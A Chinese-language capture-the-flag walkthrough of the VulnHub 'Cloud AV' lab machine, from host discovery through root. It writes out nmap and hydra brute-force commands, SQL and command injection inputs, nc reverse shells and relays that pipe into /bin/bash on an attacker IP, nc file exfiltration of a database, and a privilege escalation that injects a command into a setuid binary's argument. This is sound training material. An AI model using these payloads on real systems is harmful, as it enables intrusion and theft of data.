easy_cloudantivirus 靶机
目录
- easy_cloudantivirus 靶机
- 一、导入虚拟机配置
- 二、攻击方式
- 主机发现
- 端口扫描
- web渗透-SQL注入
- 命令注入
- 反弹shell
- ssh爆破
- 提权
一、导入虚拟机配置
靶机地址：
https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
下载完成，打开VirtualBox导入即可：
二、攻击方式
主机发现
信息收集，使用nmap或者arp-scan进行扫描，发现主机
也可以循环执行 arping 命令
for i in $(seq 1 254); do sudo arping -c 2 10.1.2.$i; done
端口扫描
nmap进行端口扫描，探针端口，服务信息
nmap -p- 10.1.2.126
nmap -sV -A 10.1.2.126
探针发现，开发22和8080端口，可以使用hydra进行尝试ssh爆破，但是未果。
hydra -l root -P passwd.txt ssh://10.1.2.126
web渗透-SQL注入
发现还开放了8080端口，进行访问web界面，如下
发现此网站为一个扫描器相关的网站，在交互处输入邀请码才可测试扫描，尝试注入测试
输入数据不论数字还是字母，都给以下提示：
错误信息
抓包，发现password参数，可进行注入，导入fuzzer字典，进行模糊测试
选择并插入fuzzer的模糊测试字典，如下：
测试闭合方式，进行注入
然后开始攻击，爆破即可，根据长度进行筛选，并发现状态码为200，页面变化：
万能钥匙
得到payload测试输入，来到web界面，如下：
然后我们随便输入一个以上提供的进行scan，观察页面变化，如选择第一个bash
等待扫描后如下：
命令注入
根据以上，尝试命令注入，加入管道符跟上执行命令，看是否可回显
bash | ls
页面成功回显，带出当前目录下的文件内容信息
反弹shell
尝试反弹shell，使用nc命令
bash | nc 10.1.2.218 8888 -e /bin/bash
执行过后，发现无反应，没有反弹，可能此linux当中的nc不支持-e参数，采用nc串联的方式
bash | nc 10.1.2.218 6666 | /bin/bash | nc 10.1.2.218 8888
这里kali需要同时开启6666和8888端口，我们在6666端口输入的语句会在靶机中输入到bash环境中执行，再将执行的结果返回到kali的8888端口中。（这里针对nc没有-e参数还可以使用命名管道符进行反弹shell）
成功接收回显信息
回显结果：
ssh爆破
发现当前路径有database.sql文件，查看此文件类型，判断是何数据库文件
file database.sql
此数据库文件为sqlite3，使用命令sqlite3查看一下，发现无此命令，那只能将其下载到本地，进行查看利用。
使用nc将文件传输到本地中，在本地进行内容的读取
kali：
nc -lvvp 5555 > database.sql
shell：
nc 10.1.2.218 5555 < database.sql
成功下载到本地，通过sqlite3命令查看数据库内容
sqlite3
.open database.sql
.database
.dump
得到四个密码信息：
myinvitecode123
mysecondinvitecode
cloudavtech
mostsecurescanner
查看靶机的/etc/passwd文件当中的用户信息，并查看有/bin/bash得账号
cat /etc/passwd | grep /bin/bash
拥有此权限的有以下三个用户：
加上以上四个密码，尝试进行爆破，创建user.txt和passwd.txt，将以上的用户信息和密码填入，进行爆破，使用hydra爆破,但是未果
hydra -L user.txt -P passwd.txt ssh://10.1.2.126
获取一个稳定shell，使用python
python -c "import pty;pty.spawn('/bin/bash')"
提权
查看有suid权限的文件信息：
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
没有可利用的suid权限文件，查看/etc/passwd，只读权限，无法利用
查看上一级目录有无利用文件
发现.c文件，并且已经编译好，恰好属主为root，那么利用一下，直接运行
提示我们缺省命令参数，那么我们加上命令再次运行，发现有log文件动用，尝试反弹shell
查看此文件的源码：
加上参数，尝试反弹shell
nc反弹shell，继续参与nc串联的方式
./updata_cloudav "1|nc 10.1.2.218 9999 | /bin/bash | nc 10.1.2.218 7777"
成功接收，root权限
思路：
主机发现—>端口服务扫描—>开放22端口可爆破—>访问web服务—>SQL注入—>命令注入—>反弹shell，nc串联—>ssh爆破—>找提权点—>代码审计—>提权
文章不妥之处，欢迎批评指正！
